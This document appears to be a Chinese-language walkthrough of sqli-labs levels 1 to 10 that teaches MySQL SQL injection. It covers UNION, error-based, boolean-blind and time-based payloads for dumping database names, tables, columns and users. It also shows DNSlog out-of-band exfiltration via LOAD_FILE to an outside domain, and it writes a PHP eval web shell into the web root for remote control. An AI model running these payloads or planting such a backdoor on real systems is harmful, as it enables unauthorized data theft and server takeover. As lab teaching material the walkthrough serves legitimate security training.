目录
第 1 关
联合查询注入(UNION query SQL injectio)
利用前提:页面上有显示位
优点:方便,快捷,易于利用
缺点:需要显示位
格式 :SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3 --%20
SQL注入时默认输出第一行数据 ,保证第一行无数据(前面加-)则可输出第二行 或者用limit函数
获取所有数据库名:
union select 1,2,group_concat(schema_name) from information_schema.schemata --%20
获取指定数据库下所有表名:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = '库名' --%20
获取指定表下所有字段名:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name = '表名' --%20
常用SQL语句
1. SELECT USER(),SYSTEM_USER(),CURRENT_USER(),SESSION_USER();
-- 当前用户名及对应主机查询 函数值相同 可在特定函数被过滤的情况下用其他函数替换,以达到相同的目的
2. SELECT DATABASE(); -- 当前数据库名查询
3. SELECT VERSION(); -- 版本号查询
4. SELECT @@version; -- 版本号查询
5. SELECT @@basedir; -- 数据库根目录
6. SELECT @@datadir; -- mysql文件存放目录 该目录下1库对应1文件夹,1表对应3文件
7. SELECT @@version_compile_os; -- 操作系统
特殊用法:
SELECT * FROM users /*!22222 where id = 1*/;
-- 当MySQL当前版本号大于五位数时,注释会失效,此时只输出id=1的内容
SELECT * FROM users /*!88888 where id = 1*/;
-- 显示所有内容
SELECT VERSION(); -- 查看MySQL当前版本
注:5.5.53--55530
常用函数
CONCAT(str1,str2,...) -- 拼接字符串
SELECT CONCAT('hello','world') ;
CONCAT_WS(连接符,str1,str2,...) -- 自定义字符连接
SELECT CONCAT_WS('-','hello','world');
GROUP_CONCAT() -- 把多个结果合并为一组数据输出
SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.`SCHEMATA`;
ASCII('字符') -- 返回对应字符的ASCII码
SELECT ASCII('a');
SELECT ASCII('你好'); -- 多字符只会打印第一个字符的ASCII码
ORD('a') -- 返回字符串第一个字符的ASCII码
SELECT ORD('a');
SELECT ORD('你好');
MID(字符串(str),起始位置(pos),长度(len)) -- 返回指定字符
SELECT MID('hello',2,3); -- MySQL字符从1开始 其余语法大多从0开始
SUBSTR(str,pos,len) -- 返回指定字符长度
SUBSTR(str,pos)
SUBSTR(str FROM pos)
SUBSTR(str\nstr FROM pos FOR len)
SELECT SUBSTR('hello',2,3);
SELECT SUBSTR('hello',2);
SELECT SUBSTR('hello' FROM 2);
SELECT SUBSTR('hello' FROM 2 FOR 3);
LENGTH(字符串); -- 返回字符串字节长度
SELECT LENGTH('hello');
SELECT LENGTH('你好'); -- 汉字3字节
CHAR_LENGTH(字符串); -- 返回字符串字符长度
SELECT CHAR_LENGTH('hello');
SELECT CHAR_LENGTH('你好');
第 2 关
第 3 关
第 4 关
第 5 关
报错注入(Error-based SQL injection)
利用前提:在没有回显或回显不可控的情况下(页面上有没有显示位无所谓),但是需要输出SQL语句执行错误信
息,例如:mysqli_error()
优点:不需要显示位
缺点:需要输出例如mysqli_error()的报错信息
报错注入 之 通过floor报错
1. AND (SELECT COUNT(*) FROM information_schema.`TABLES` GROUP BY CONCAT((payload),FLOOR(RAND(0)*2)));
2. AND (SELECT 1 FROM(SELECT COUNT(),CONCAT((SELECT(SELECT(payload)) FROM information_schema.`TABLES` LIMIT 0,1),FLOOR(RAND(0)2))X FROM information_schema.`TABLES` GROUP BY X)a);
注意:查询时用 group_concat()会出问题 尽量换用 limit 语句
payload:想查询的SQL语句
报错注入 之 通过ExtractValue报错
函数解释:
extractxalue():从目标XML中返回包含查询值的字符串
extractxalue(XML_document,XPath_string);
第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(XPath格式的字符串)
concat返回结果为连续参数产生的字符串
AND EXTRACTVALUE(1,(CONCAT(0x7e,(payload),0x7e)));
AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT@@version),0x7e));
注意:会从第一个特殊字符开始显示错误
0x7e:~
尽量避免 ' " 的使用,用16进制转换
函数输出结果最多为32个字符 用字符串截取解决该问题
报错注入 之 通过updateXML报错
函数格式:UPDATEXML(xml_target,xpath_expr,new_xml)
注入:AND UPDATEXML(1,(payload),1)
示例:AND UPDATEXML(1,(CONCAT(0x7e,(SELECT USER()),0x7e)),1);
用法:用法与 ExtractValue 类似
第 6 关
第 7 关
bool(布尔)注入 (Boolean-based blind SQL injection)
应用场景:页面上没有显示位,也没有输出SQL语句执行错误信息
只能通过页面返回是否正常判断
优点:不需要显示位,不需要出错信息
缺点:速度慢,耗费大量时间
SELECT * FROM users WHERE id=1 AND ASCII(SUBSTR(USER(),1,1)) > ASCII码值(65-122:A-z)
注:采用二分法可大幅提高速率
SELECT * FROM users WHERE id=1 AND USER() REGEXP 'root@'; -- regexp:包含
由于布尔注入速度慢,需要耗费大量时间,故可以采用其他方法,例如DNSlog外带注入
步骤
1. 使用DNSlog获取根目录
LOAD_FILE(CONCAT('\\\\',(SUBSTR(HEX(@@basedir),1,60)),'.DNSlog网址\abc'))
也可以使用DNSlog直接获取数据库信息
2. 注入后门
UNION SELECT '','','<?php @eval($_POST[1]) ?>' INTO DUMPFILE '绝对路径/test.php'
注意:路径中的 \ 要全部换为 /
3. 用蚁剑连接
注:
1. 一般只有root用户有权限使用 load_file 函数
2. 路径中 \ 变 /
原因:\ 默认转义符
3. 可以把绝对路径转换为16进制 去掉'' 避免字符过滤
4. MySQL/Date目录下的可以不需要绝对路径
5. SELECT '写入内容' INTO OUTFILE '绝对路径/test.txt'
可以16进制 绝对路径 或 以Date为起始的相对路径 此处不能用16进制
DNSlog外带注入
不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能获取数据库中的值,在现代WAF的防护下
很可能导致IP被ban。我们可以利用内置函数load_file()来完成DNSlog。
load_file()不仅能加载本地文件,同时也能对诸如 \\www.test.com 这样的URL发起请求。
示例:SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(payload)),'.DNSlog获取的网址\\abc'));
注意:每次最多取63字节
DNSlog网址前的 . 必不可少
上文已获知字符串需要使用 ')) 闭合 ,故不再重复
BurpSuite安装:(28条消息) BurpSuite 2020.8 安装及代理配置_源十三的博客-CSDN博客
第 8 关
也可以参照第 7 关 使用DNSlog外带等注入
第 9 关
基于时间的注入(延时注入)(Time-based blind SQl injection)
1. Time-based blind SQL injection
2.利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但
是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。
3.优点:不需要显示位,不需要报错信息。
4.缺点:速度慢,耗费大量时间
5.用法:IF(Condition,A,B)函数
当Condition为TRUE时,返回A;否则返回B。
6.示例: SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);
可以结合DNSlog外带注入,可大幅节省时间
SELECT * FROM users WHERE id='1' AND LOAD_FILE(CONCAT('\\\\',(SUBSTR(HEX(@@basedir),1,60)),'.DNSlog域名\\abc')) --%20
SELECT * FROM users WHERE id='1' AND IF(ASCII(SUBSTR(USER(),1,1))=114 ,LOAD_FILE(CONCAT('\\\\',(SELECT HEX(USER())),'.DNSlog域名\\abc')),1) --%20
第 10 关
后续步骤与第 9 关完全一致